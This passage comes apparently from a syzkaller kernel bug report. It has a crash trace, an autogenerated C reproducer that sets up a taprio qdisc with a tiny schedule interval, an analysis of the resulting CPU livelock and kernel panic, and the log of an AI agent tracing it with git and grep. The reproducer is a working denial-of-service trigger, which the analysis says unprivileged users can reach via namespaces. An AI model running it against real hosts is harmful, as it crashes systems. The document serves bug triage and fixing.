CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000055ec54628550 CR3: 000000007d7b8000 CR4: 00000000003526f0
Call Trace:
<TASK>
on_each_cpu_cond_mask+0x3f/0x80 kernel/smp.c:1043
__flush_tlb_multi arch/x86/include/asm/paravirt.h:91 [inline]
flush_tlb_multi arch/x86/mm/tlb.c:1382 [inline]
flush_tlb_mm_range+0x60a/0x1170 arch/x86/mm/tlb.c:1472
flush_tlb_page arch/x86/include/asm/tlbflush.h:324 [inline]
ptep_clear_flush+0x120/0x170 mm/pgtable-generic.c:103
wp_page_copy mm/memory.c:3785 [inline]
do_wp_page+0x1bb1/0x5810 mm/memory.c:4180
handle_pte_fault mm/memory.c:6289 [inline]
__handle_mm_fault mm/memory.c:6411 [inline]
handle_mm_fault+0x14c5/0x32b0 mm/memory.c:6580
do_user_addr_fault+0xa7c/0x1380 arch/x86/mm/fault.c:1336
handle_page_fault arch/x86/mm/fault.c:1476 [inline]
exc_page_fault+0x71/0xd0 arch/x86/mm/fault.c:1532
asm_exc_page_fault+0x26/0x30 arch/x86/include/asm/idtentry.h:618
RIP: 0033:0x7f6e0ecb5dfe
Code: 00 00 66 0f ef c0 41 0f 11 44 24 20 49 89 54 24 10 49 89 74 24 18 4c 89 66 10 4c 89 62 18 48 89 c2 48 83 ca 01 49 89 54 24 08 <49> 89 04 04 48 83 c4 10 5b 41 5c 41 5d c3 0f 1f 40 00 48 89 cf 48
RSP: 002b:00007fff1a84f050 EFLAGS: 00010206
RAX: 0000000000002a20 RBX: 0000000000000740 RCX: 000055ec54627e10
RDX: 0000000000002a21 RSI: 00007f6e0edf1b20 RDI: 000055ec54627e10
RBP: 00007f6e0edf1ac0 R08: 0000000000000740 R09: 0000000000000010
R10: 000055ec24e255e0 R11: 0000000000000004 R12: 000055ec54625b30
R13: 00007f6e0edf1ac0 R14: 0000000000000740 R15: 00007f6e0edf1ac0
</TASK>
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#define BITMASK(bf_off,bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type,htobe,addr,val,bf_off,bf_len) *(type*)(addr) = htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))
uint64_t r[3] = {0xffffffffffffffff, 0x0, 0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// socket$inet arguments: [
// domain: const = 0x10 (8 bytes)
// type: socket_type = 0x3 (8 bytes)
// proto: int32 = 0x0 (4 bytes)
// ]
// returns sock_in
res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=SOCK_RAW*/3ul, /*proto=*/0);
if (res != -1)
r[0] = res;
// ioctl$sock_SIOCGIFINDEX arguments: [
// fd: sock (resource)
// cmd: const = 0x8933 (4 bytes)
// arg: ptr[out, ifreq_dev_t[devnames, ifindex]] {
// ifreq_dev_t[devnames, ifindex] {
// ifr_ifrn: buffer: {62 6f 6e 64 30 00 00 00 00 00 00 00 00 00 00 00} (length 0x10)
// elem: ifindex (resource)
// pad = 0x0 (20 bytes)
// }
// }
// ]
memcpy((void*)0x200000000300, "bond0\000\000\000\000\000\000\000\000\000\000\000", 16);
res = syscall(__NR_ioctl, /*fd=*/r[0], /*cmd=*/0x8933, /*arg=*/0x200000000300ul);
if (res != -1)
r[1] = *(uint32_t*)0x200000000310;
// socket$netlink arguments: [
// domain: const = 0x10 (8 bytes)
// type: const = 0x3 (8 bytes)
// proto: netlink_proto = 0x0 (4 bytes)
// ]
// returns sock_netlink
res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0);
if (res != -1)
r[2] = res;
// sendmsg$nl_route_sched arguments: [
// fd: sock_nl_route (resource)
// msg: ptr[in, msghdr_netlink[netlink_msg_route_sched]] {
// msghdr_netlink[netlink_msg_route_sched] {
// addr: nil
// addrlen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// vec: ptr[in, iovec[in, netlink_msg_route_sched]] {
// iovec[in, netlink_msg_route_sched] {
// addr: ptr[in, netlink_msg_route_sched] {
// union netlink_msg_route_sched {
// newqdisc: netlink_msg_t[const[RTM_NEWQDISC, int16], tcmsg[AF_UNSPEC], rtm_tca_policy] {
// len: len = 0xa4 (4 bytes)
// type: const = 0x24 (2 bytes)
// flags: netlink_msg_flags = 0xf0b (2 bytes)
// seq: int32 = 0x70bd2b (4 bytes)
// pid: int32 = 0x0 (4 bytes)
// payload: tcmsg[AF_UNSPEC] {
// family: const = 0x0 (1 bytes)
// tcm__pad1: const = 0x0 (1 bytes)
// tcm__pad2: const = 0x12 (2 bytes)
// ifindex: ifindex (resource)
// tcm_handle: tcm_handle {
// minor: tcm_handle_offsets = 0x0 (2 bytes)
// major: tcm_handle_offsets = 0x0 (2 bytes)
// }
// tcm_parent: tcm_handle {
// minor: tcm_handle_offsets = 0xffff (2 bytes)
// major: tcm_handle_offsets = 0xffff (2 bytes)
// }
// tcm_info: tcm_handle {
// minor: tcm_handle_offsets = 0x2 (2 bytes)
// major: tcm_handle_offsets = 0x0 (2 bytes)
// }
// }
// attrs: array[rtm_tca_policy] {
// union rtm_tca_policy {
// qdisc_kind_options: union qdisc_kind_options {
// q_taprio: tca_kind_options_t["taprio", array[taprio_policy]] {
// TCA_KIND: nlattr_t[const[TCA_KIND, int16], string["taprio"]] {
// nla_len: offsetof = 0xb (2 bytes)
// nla_type: const = 0x1 (2 bytes)
// payload: buffer: {74 61 70 72 69 6f 00} (length 0x7)
// size: buffer: {} (length 0x0)
// pad = 0x0 (1 bytes)
// }
// TCA_OPTIONS: nlattr_t[const[TCA_OPTIONS, int16], array[taprio_policy]] {
// nla_len: offsetof = 0x74 (2 bytes)
// nla_type: const = 0x2 (2 bytes)
// payload: array[taprio_policy] {
// union taprio_policy {
// TCA_TAPRIO_ATTR_PRIOMAP: nlattr_t[const[TCA_TAPRIO_ATTR_PRIOMAP, int16], tc_mqprio_qopt] {
// nla_len: offsetof = 0x56 (2 bytes)
// nla_type: const = 0x1 (2 bytes)
// payload: tc_mqprio_qopt {
// num_tc: int8 = 0x2 (1 bytes)
// prio_tc_map: array[int8] {
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x1 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// int8 = 0x0 (1 bytes)
// }
// hw: int8 = 0x0 (1 bytes)
// count: array[int16] {
// int16 = 0x5 (2 bytes)
// int16 = 0x4 (2 bytes)
// int16 = 0x2 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x8 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x9 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x3 (2 bytes)
// }
// offset: array[int16] {
// int16 = 0x0 (2 bytes)
// int16 = 0x8 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x2 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// int16 = 0x0 (2 bytes)
// }
// }
// size: buffer: {} (length 0x0)
// pad = 0x0 (2 bytes)
// }
// }
// union taprio_policy {
// TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST: nlattr_tt[const[TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST, int16:14], 0, 1, array[nlnest[TCA_TAPRIO_SCHED_ENTRY, array[entry_policy$taprio]]]] {
// nla_len: offsetof = 0x10 (2 bytes)
// nla_type: const = 0x2 (1 bytes)
// NLA_F_NET_BYTEORDER: const = 0x0 (0 bytes)
// NLA_F_NESTED: const = 0x1 (1 bytes)
// payload: array[nlattr_tt[const[TCA_TAPRIO_SCHED_ENTRY, int16:14], 0, 1, array[entry_policy$taprio]]] {
// nlattr_tt[const[TCA_TAPRIO_SCHED_ENTRY, int16:14], 0, 1, array[entry_policy$taprio]] {
// nla_len: offsetof = 0xc (2 bytes)
// nla_type: const = 0x1 (1 bytes)
// NLA_F_NET_BYTEORDER: const = 0x0 (0 bytes)
// NLA_F_NESTED: const = 0x1 (1 bytes)
// payload: array[entry_policy$taprio] {
// union entry_policy$taprio {
// TCA_TAPRIO_SCHED_ENTRY_INTERVAL: nlattr_t[const[TCA_TAPRIO_SCHED_ENTRY_INTERVAL, int16], int32] {
// nla_len: offsetof = 0x8 (2 bytes)
// nla_type: const = 0x4 (2 bytes)
// payload: int32 = 0x400 (4 bytes)
// size: buffer: {} (length 0x0)
// }
// }
// }
// size: buffer: {} (length 0x0)
// }
// }
// size: buffer: {} (length 0x0)
// }
// }
// union taprio_policy {
// TCA_TAPRIO_ATTR_SCHED_CLOCKID: nlattr_t[const[TCA_TAPRIO_ATTR_SCHED_CLOCKID, int16], int32] {
// nla_len: offsetof = 0x8 (2 bytes)
// nla_type: const = 0x5 (2 bytes)
// payload: int32 = 0x7 (4 bytes)
// size: buffer: {} (length 0x0)
// }
// }
// }
// size: buffer: {} (length 0x0)
// }
// }
// }
// }
// }
// }
// }
// }
// len: len = 0xa4 (8 bytes)
// }
// }
// vlen: const = 0x1 (8 bytes)
// ctrl: const = 0x0 (8 bytes)
// ctrllen: const = 0x0 (8 bytes)
// f: send_flags = 0x20000040 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// f: send_flags = 0x0 (8 bytes)
// ]
*(uint64_t*)0x2000000007c0 = 0;
*(uint32_t*)0x2000000007c8 = 0;
*(uint64_t*)0x2000000007d0 = 0x200000000780;
*(uint64_t*)0x200000000780 = 0x2000000000c0;
*(uint32_t*)0x2000000000c0 = 0xa4;
*(uint16_t*)0x2000000000c4 = 0x24;
*(uint16_t*)0x2000000000c6 = 0xf0b;
*(uint32_t*)0x2000000000c8 = 0x70bd2b;
*(uint32_t*)0x2000000000cc = 0;
*(uint8_t*)0x2000000000d0 = 0;
*(uint8_t*)0x2000000000d1 = 0;
*(uint16_t*)0x2000000000d2 = 0x12;
*(uint32_t*)0x2000000000d4 = r[1];
*(uint16_t*)0x2000000000d8 = 0;
*(uint16_t*)0x2000000000da = 0;
*(uint16_t*)0x2000000000dc = -1;
*(uint16_t*)0x2000000000de = -1;
*(uint16_t*)0x2000000000e0 = 2;
*(uint16_t*)0x2000000000e2 = 0;
*(uint16_t*)0x2000000000e4 = 0xb;
*(uint16_t*)0x2000000000e6 = 1;
memcpy((void*)0x2000000000e8, "taprio\000", 7);
*(uint16_t*)0x2000000000f0 = 0x74;
*(uint16_t*)0x2000000000f2 = 2;
*(uint16_t*)0x2000000000f4 = 0x56;
*(uint16_t*)0x2000000000f6 = 1;
*(uint8_t*)0x2000000000f8 = 2;
*(uint8_t*)0x2000000000f9 = 0;
*(uint8_t*)0x2000000000fa = 0;
*(uint8_t*)0x2000000000fb = 0;
*(uint8_t*)0x2000000000fc = 0;
*(uint8_t*)0x2000000000fd = 0;
*(uint8_t*)0x2000000000fe = 0;
*(uint8_t*)0x2000000000ff = 0;
*(uint8_t*)0x200000000100 = 0;
*(uint8_t*)0x200000000101 = 0;
*(uint8_t*)0x200000000102 = 0;
*(uint8_t*)0x200000000103 = 1;
*(uint8_t*)0x200000000104 = 0;
*(uint8_t*)0x200000000105 = 0;
*(uint8_t*)0x200000000106 = 0;
*(uint8_t*)0x200000000107 = 0;
*(uint8_t*)0x200000000108 = 0;
*(uint8_t*)0x200000000109 = 0;
*(uint16_t*)0x20000000010a = 5;
*(uint16_t*)0x20000000010c = 4;
*(uint16_t*)0x20000000010e = 2;
*(uint16_t*)0x200000000110 = 0;
*(uint16_t*)0x200000000112 = 8;
*(uint16_t*)0x200000000114 = 0;
*(uint16_t*)0x200000000116 = 9;
*(uint16_t*)0x200000000118 = 0;
*(uint16_t*)0x20000000011a = 0;
*(uint16_t*)0x20000000011c = 0;
*(uint16_t*)0x20000000011e = 0;
*(uint16_t*)0x200000000120 = 0;
*(uint16_t*)0x200000000122 = 0;
*(uint16_t*)0x200000000124 = 0;
*(uint16_t*)0x200000000126 = 0;
*(uint16_t*)0x200000000128 = 3;
*(uint16_t*)0x20000000012a = 0;
*(uint16_t*)0x20000000012c = 8;
*(uint16_t*)0x20000000012e = 0;
*(uint16_t*)0x200000000130 = 0;
*(uint16_t*)0x200000000132 = 2;
*(uint16_t*)0x200000000134 = 0;
*(uint16_t*)0x200000000136 = 0;
*(uint16_t*)0x200000000138 = 0;
*(uint16_t*)0x20000000013a = 0;
*(uint16_t*)0x20000000013c = 0;
*(uint16_t*)0x20000000013e = 0;
*(uint16_t*)0x200000000140 = 0;
*(uint16_t*)0x200000000142 = 0;
*(uint16_t*)0x200000000144 = 0;
*(uint16_t*)0x200000000146 = 0;
*(uint16_t*)0x200000000148 = 0;
*(uint16_t*)0x20000000014c = 0x10;
STORE_BY_BITMASK(uint16_t, , 0x20000000014e, 2, 0, 14);
STORE_BY_BITMASK(uint16_t, , 0x20000000014f, 0, 6, 1);
STORE_BY_BITMASK(uint16_t, , 0x20000000014f, 1, 7, 1);
*(uint16_t*)0x200000000150 = 0xc;
STORE_BY_BITMASK(uint16_t, , 0x200000000152, 1, 0, 14);
STORE_BY_BITMASK(uint16_t, , 0x200000000153, 0, 6, 1);
STORE_BY_BITMASK(uint16_t, , 0x200000000153, 1, 7, 1);
*(uint16_t*)0x200000000154 = 8;
*(uint16_t*)0x200000000156 = 4;
*(uint32_t*)0x200000000158 = 0x400;
*(uint16_t*)0x20000000015c = 8;
*(uint16_t*)0x20000000015e = 5;
*(uint32_t*)0x200000000160 = 7;
*(uint64_t*)0x200000000788 = 0xa4;
*(uint64_t*)0x2000000007d8 = 1;
*(uint64_t*)0x2000000007e0 = 0;
*(uint64_t*)0x2000000007e8 = 0;
*(uint32_t*)0x2000000007f0 = 0x20000040;
syscall(__NR_sendmsg, /*fd=*/r[2], /*msg=*/0x2000000007c0ul, /*f=*/0ul);
return 0;
}
Reply: **Analysis of the Bug**
The bug is a Denial of Service (DoS) vulnerability caused by a CPU livelock / interrupt storm in the `taprio` qdisc scheduler's high-resolution timer (`hrtimer`).
**Root Cause:**
When configuring a `taprio` qdisc, users can specify a schedule with a list of entries, each having a specific time `interval`. The kernel attempts to validate this interval to ensure it is at least large enough to transmit a minimum-sized Ethernet frame (`ETH_ZLEN`) at the device's link speed (`min_duration`).
However, if the underlying network device reports a very high link speed (e.g., a `veth` device which defaults to 10 Gbps), the calculated `min_duration` becomes extremely small (e.g., 48 nanoseconds). This allows a user to successfully configure an interval that is very small, such as 1024 ns (1 microsecond), as seen in the reproducer.
When the schedule is active, `taprio` uses a hardirq `hrtimer` to advance the schedule (`advance_sched`). If the configured `interval` (e.g., 1024 ns) is smaller than the actual time it takes the CPU to execute the `advance_sched` callback (which can easily take ~2000 ns due to spinlocks, RCU operations, and schedule calculations), the timer's expiration time falls behind the current real time.
The Linux `hrtimer` interrupt handler (`hrtimer_interrupt`) processes expired timers in a loop (`__hrtimer_run_queues`). Because the callback takes longer to execute than the interval it advances the timer by, the timer never catches up to the current time, causing the loop to run continuously. The `hrtimer` subsystem has a hang detection mechanism that breaks out of the loop, retries, and eventually forces a delay, but this only causes the backlog of expired timers to grow exponentially. As a result, the CPU gets trapped in the hardirq context for seconds or even minutes. This completely starves the CPU, preventing RCU grace period kthreads from running, which ultimately triggers the observed `rcu_preempt detected stalls` and crashes the system.
**Security Impact:**
- **Exploitable:** False. This is a pure CPU stall / livelock issue. It does not corrupt memory, leak data, or provide any primitives for privilege escalation.
- **Denial Of Service:** True. Triggering the bug causes a hard lockup on the affected CPU, leading to an RCU stall and a kernel panic.
- **Accessible From Unprivileged Processes:** False. Configuring qdiscs via netlink (`RTM_NEWQDISC`) requires the `CAP_NET_ADMIN` capability in the network namespace. A strictly unprivileged process without access to user namespaces cannot trigger this.
- **Accessible From User Namespaces:** True. An unprivileged user can use `unshare` to create a new user namespace and a new network namespace (gaining `CAP_NET_ADMIN` over it), create a virtual network device (like `veth` or `dummy`), and attach the malicious `taprio` qdisc to it to crash the host system.
|
| 6/2 |
2026/05/23 14:44 |
llm |
expert |
0m
Model:
Tokens:
input: 17228
output: 23
thoughts: 1903
Thoughts: **RCU Stall Investigation: A Deep Dive**
Okay, so I've got this bug report, and the RCU preemption stall is screaming at me. Specifically, it's flagged on CPU 1, with CPU 0 detecting it. The trace points to `rcu_is_watching`, and we're seeing an NMI backtrace from CPU 1. Hmm, the stack trace on CPU 1 looks fishy. We're in `unwind_next_frame`, which is part of the unwinding process after an interrupt. Looks like it's a syzkaller executor, which is always interesting from a fuzzing perspective.
Wait a second, CPU 1 is doing an `execve` call, while CPU 0 seems to be involved in a user-space fault (handling a page fault) during smp_call_function_many_cond. It is an interesting mix to see an execve call being stalled by a page fault handler call on another cpu.
My gut says this might be an unwinding problem - perhaps an infinite loop in the unwinder, but I need more evidence. Alternatively, the RCU stall might be triggered by something else entirely, and the `unwind_next_frame` is just where the CPU happened to be when the stall was detected. I need to make sure the stack trace is not just noise here.
Now, let's look at the reproducer: a raw socket, `ioctl`, a netlink socket, and a `sendmsg` call with `RTM_NEWQDISC` targeting a `taprio` qdisc on `bond0`. That's the key. This is a networking setup, and the RCU stall is happening during an `execve` call.
My immediate thought: Is there a known issue with `taprio` and `bond0` that could trigger an RCU stall or a related loop? Time to hit the git log. Let's search for commits mentioning both `taprio` and "RCU stall" or "infinite loop" to see if there's any prior art. I'll need to correlate the networking setup with the `execve` context and the RCU issue.
|
| 7/2 |
2026/05/23 14:44 |
tool |
git-log |
0m
Args: map[MessageRegexps:[taprio stall]]
Results: map[Output:4eb9da050f00 selftests: net: tc_taprio: new test
e63413418088 net/sched: taprio: make q->picos_per_byte available to fill_sched_entry()
f1e668d29c57 net: enetc: reset taprio stats when taprio is deleted
3a415d59c1db net/sched: sch_taprio: fix possible use-after-free
32bf8e1f6fb9 net: enetc: manage ENETC_F_QBV in priv->active_offloads only when enabled
c57fe0037a4e net: mscc: ocelot: make use of all 63 PTP timestamp identifiers
c92cbaea3cc0 net: dsa: sja1105: fix PTP timestamping with large tc-taprio cycles
834f8933d5dd net: dsa: sja1105: implement tc-gate using time-triggered virtual links
a9d6227436f3 taprio: Fix still allowing changing the flags during runtime
f04b514c0ce2 taprio: Set default link speed to 10 Mbps in taprio_set_picos_per_byte
]
|
| 8/2 |
2026/05/23 14:44 |
llm |
expert |
0m
Model:
Tokens:
input: 19941
output: 23
thoughts: 15
Thoughts: Okay, here's my take on those thoughts, tailored for an expert audience:
**Investigating Recent Code History**
Alright, time to get my hands dirty. I need to quickly refresh my memory on the recent activity surrounding `taprio` and `loop`. My initial thought is to jump directly into the `git log` to get a bird's-eye view of commits that have touched these specific areas. This will provide context for any recent changes, bug fixes, or new features and help me identify the relevant commit hashes I may need to examine further. Using those key words as search terms should quickly give me the necessary information to proceed.
|
| 9/2 |
2026/05/23 14:44 |
tool |
git-log |
0m
Args: map[MessageRegexps:[taprio loop]]
Results: map[Output:39a913db6a47 net: macb: remove bp->queue_mask
4f4d38412140 selftests: tc-testing: check if 'jq' is available in taprio tests
fc4f2fd02a1a net/sched: taprio: simplify list iteration in taprio_dev_notifier()
a7db5ed8632c net: dsa: hellcreek: Fix incorrect setting of GCL
ebca25ead071 net/sched: taprio: Fix init procedure
698285da79f5 net/sched: sch_taprio: ensure to reset/destroy all child qdiscs
]
|
| 10/2 |
2026/05/23 14:45 |
llm |
expert |
0m
Model:
Tokens:
input: 20286
output: 16
thoughts: 101
Thoughts: **Investigating a Potential Taprio and Bonding Device Interaction**
Okay, first things first. The reproducer utilizes a `taprio` qdisc, that much is clear. I need to take another look at the steps involved. Right, it's sending an `RTM_NEWQDISC` message using `sendmsg`, and it's attaching this `taprio` qdisc to `bond0`. Hmm, that's interesting. `bond0` is a bonding device, so it aggregates multiple interfaces. I wonder... could there be a problem with `taprio` when it's used in conjunction with a bonding interface? Does it get stuck in some kind of infinite loop when handling the combined traffic? I need to check the code. Let's delve into `net/sched/sch_taprio.c` and see what's going on under the hood. Hopefully, the source code will shed some light on this unexpected interaction.
|
| 11/2 |
2026/05/23 14:45 |
tool |
grepper |
0m
Args:
Results: map[Output:
Full output is too long, showing 500 out of 2510 lines.
Use more precise expression if possible.
[Documentation/netlink/specs/tc.yaml=1456=attribute-sets:
--
Documentation/netlink/specs/tc.yaml-3569- -
Documentation/netlink/specs/tc.yaml:3570: name: taprio-attrs
Documentation/netlink/specs/tc.yaml:3571: name-prefix: tca-taprio-attr-
Documentation/netlink/specs/tc.yaml-3572- attributes:
--
Documentation/netlink/specs/tc.yaml-3579- type: nest
Documentation/netlink/specs/tc.yaml:3580: nested-attributes: taprio-sched-entry-list
Documentation/netlink/specs/tc.yaml-3581- -
--
Documentation/netlink/specs/tc.yaml-3586- type: nest
Documentation/netlink/specs/tc.yaml:3587: nested-attributes: taprio-sched-entry
Documentation/netlink/specs/tc.yaml-3588- -
--
Documentation/netlink/specs/tc.yaml-3611- type: nest
Documentation/netlink/specs/tc.yaml:3612: nested-attributes: taprio-tc-entry-attrs
Documentation/netlink/specs/tc.yaml-3613- -
Documentation/netlink/specs/tc.yaml:3614: name: taprio-sched-entry-list
Documentation/netlink/specs/tc.yaml:3615: name-prefix: tca-taprio-sched-
Documentation/netlink/specs/tc.yaml-3616- attributes:
--
Documentation/netlink/specs/tc.yaml-3619- type: nest
Documentation/netlink/specs/tc.yaml:3620: nested-attributes: taprio-sched-entry
Documentation/netlink/specs/tc.yaml-3621- multi-attr: true
Documentation/netlink/specs/tc.yaml-3622- -
Documentation/netlink/specs/tc.yaml:3623: name: taprio-sched-entry
Documentation/netlink/specs/tc.yaml:3624: name-prefix: tca-taprio-sched-entry-
Documentation/netlink/specs/tc.yaml-3625- attributes:
--
Documentation/netlink/specs/tc.yaml-3638- -
Documentation/netlink/specs/tc.yaml:3639: name: taprio-tc-entry-attrs
Documentation/netlink/specs/tc.yaml:3640: name-prefix: tca-taprio-tc-entry-
Documentation/netlink/specs/tc.yaml-3641- attributes:
--
Documentation/netlink/specs/tc.yaml=3819=sub-messages:
--
Documentation/netlink/specs/tc.yaml-3941- -
Documentation/netlink/specs/tc.yaml:3942: value: taprio
Documentation/netlink/specs/tc.yaml:3943: attribute-set: taprio-attrs
Documentation/netlink/specs/tc.yaml-3944- -
--
Documentation/networking/dsa/sja1105.rst=105=gate-open event in the network schedule.
Documentation/networking/dsa/sja1105.rst-106-
Documentation/networking/dsa/sja1105.rst:107:This capability can be managed through the tc-taprio offload ('flags 2'). The
Documentation/networking/dsa/sja1105.rst:108:difference compared to the software implementation of taprio is that the latter
Documentation/networking/dsa/sja1105.rst-109-would only be able to shape traffic originated from the CPU, but not
--
Documentation/networking/dsa/sja1105.rst=136=and the gates for all other traffic classes are open for 400 us::
--
Documentation/networking/dsa/sja1105.rst-164-
Documentation/networking/dsa/sja1105.rst:165: tc qdisc add dev swp5 parent root handle 100 taprio \
Documentation/networking/dsa/sja1105.rst-166- num_tc 8 \
--
Documentation/networking/dsa/sja1105.rst-173-
Documentation/networking/dsa/sja1105.rst:174:It is possible to apply the tc-taprio offload on multiple egress ports. There
Documentation/networking/dsa/sja1105.rst-175-are hardware restrictions related to the fact that no gate event may trigger
--
Documentation/networking/dsa/sja1105.rst=234=follow along.
Documentation/networking/dsa/sja1105.rst-235-
Documentation/networking/dsa/sja1105.rst:236:Example: create a tc-taprio schedule that is phase-aligned with a tc-gate
Documentation/networking/dsa/sja1105.rst-237-schedule (the clocks must be synchronized by a 1588 application stack, which is
--
Documentation/networking/dsa/sja1105.rst=257=Sender::
--
Documentation/networking/dsa/sja1105.rst-262- echo "base time ${base_time}"
Documentation/networking/dsa/sja1105.rst:263: tc qdisc add dev eno0 parent root taprio \
Documentation/networking/dsa/sja1105.rst-264- num_tc 8 \
--
Documentation/networking/dsa/sja1105.rst=272=The engine used to schedule the ingress gate operations is the same that the
Documentation/networking/dsa/sja1105.rst:273:one used for the tc-taprio offload. Therefore, the restrictions regarding the
Documentation/networking/dsa/sja1105.rst:274:fact that no two gate actions (either tc-gate or tc-taprio gates) may fire at
Documentation/networking/dsa/sja1105.rst-275-the same time (during the same 200 ns slot) still apply.
--
MAINTAINERS=5737=F: net/sched/sch_etf.c
MAINTAINERS:5738:F: net/sched/sch_taprio.c
MAINTAINERS-5739-
--
drivers/net/dsa/hirschmann/hellcreek.c=1540=static void hellcreek_setup_maxsdu(struct hellcreek *hellcreek, int port,
drivers/net/dsa/hirschmann/hellcreek.c:1541: const struct tc_taprio_qopt_offload *schedule)
drivers/net/dsa/hirschmann/hellcreek.c-1542-{
--
drivers/net/dsa/hirschmann/hellcreek.c=1579=static void hellcreek_setup_gcl(struct hellcreek *hellcreek, int port,
drivers/net/dsa/hirschmann/hellcreek.c:1580: const struct tc_taprio_qopt_offload *schedule)
drivers/net/dsa/hirschmann/hellcreek.c-1581-{
drivers/net/dsa/hirschmann/hellcreek.c:1582: const struct tc_taprio_sched_entry *cur, *initial, *next;
drivers/net/dsa/hirschmann/hellcreek.c-1583- size_t i;
--
drivers/net/dsa/hirschmann/hellcreek.c=1626=static void hellcreek_set_cycle_time(struct hellcreek *hellcreek,
drivers/net/dsa/hirschmann/hellcreek.c:1627: const struct tc_taprio_qopt_offload *schedule)
drivers/net/dsa/hirschmann/hellcreek.c-1628-{
--
drivers/net/dsa/hirschmann/hellcreek.c=1673=static void hellcreek_start_schedule(struct hellcreek *hellcreek, int port)
--
drivers/net/dsa/hirschmann/hellcreek.c-1702-
drivers/net/dsa/hirschmann/hellcreek.c:1703: taprio_offload_free(hellcreek_port->current_schedule);
drivers/net/dsa/hirschmann/hellcreek.c-1704- hellcreek_port->current_schedule = NULL;
--
drivers/net/dsa/hirschmann/hellcreek.c=1738=static int hellcreek_port_set_schedule(struct dsa_switch *ds, int port,
drivers/net/dsa/hirschmann/hellcreek.c:1739: struct tc_taprio_qopt_offload *taprio)
drivers/net/dsa/hirschmann/hellcreek.c-1740-{
--
drivers/net/dsa/hirschmann/hellcreek.c-1756- if (hellcreek_port->current_schedule) {
drivers/net/dsa/hirschmann/hellcreek.c:1757: taprio_offload_free(hellcreek_port->current_schedule);
drivers/net/dsa/hirschmann/hellcreek.c-1758- hellcreek_port->current_schedule = NULL;
drivers/net/dsa/hirschmann/hellcreek.c-1759- }
drivers/net/dsa/hirschmann/hellcreek.c:1760: hellcreek_port->current_schedule = taprio_offload_get(taprio);
drivers/net/dsa/hirschmann/hellcreek.c-1761-
--
drivers/net/dsa/hirschmann/hellcreek.c=1798=static int hellcreek_port_del_schedule(struct dsa_switch *ds, int port)
--
drivers/net/dsa/hirschmann/hellcreek.c-1812- if (hellcreek_port->current_schedule) {
drivers/net/dsa/hirschmann/hellcreek.c:1813: taprio_offload_free(hellcreek_port->current_schedule);
drivers/net/dsa/hirschmann/hellcreek.c-1814- hellcreek_port->current_schedule = NULL;
--
drivers/net/dsa/hirschmann/hellcreek.c=1832=static bool hellcreek_validate_schedule(struct hellcreek *hellcreek,
drivers/net/dsa/hirschmann/hellcreek.c:1833: struct tc_taprio_qopt_offload *schedule)
drivers/net/dsa/hirschmann/hellcreek.c-1834-{
--
drivers/net/dsa/hirschmann/hellcreek.c=1857=static int hellcreek_tc_query_caps(struct tc_query_caps_base *base)
--
drivers/net/dsa/hirschmann/hellcreek.c-1860- case TC_SETUP_QDISC_TAPRIO: {
drivers/net/dsa/hirschmann/hellcreek.c:1861: struct tc_taprio_caps *caps = base->caps;
drivers/net/dsa/hirschmann/hellcreek.c-1862-
--
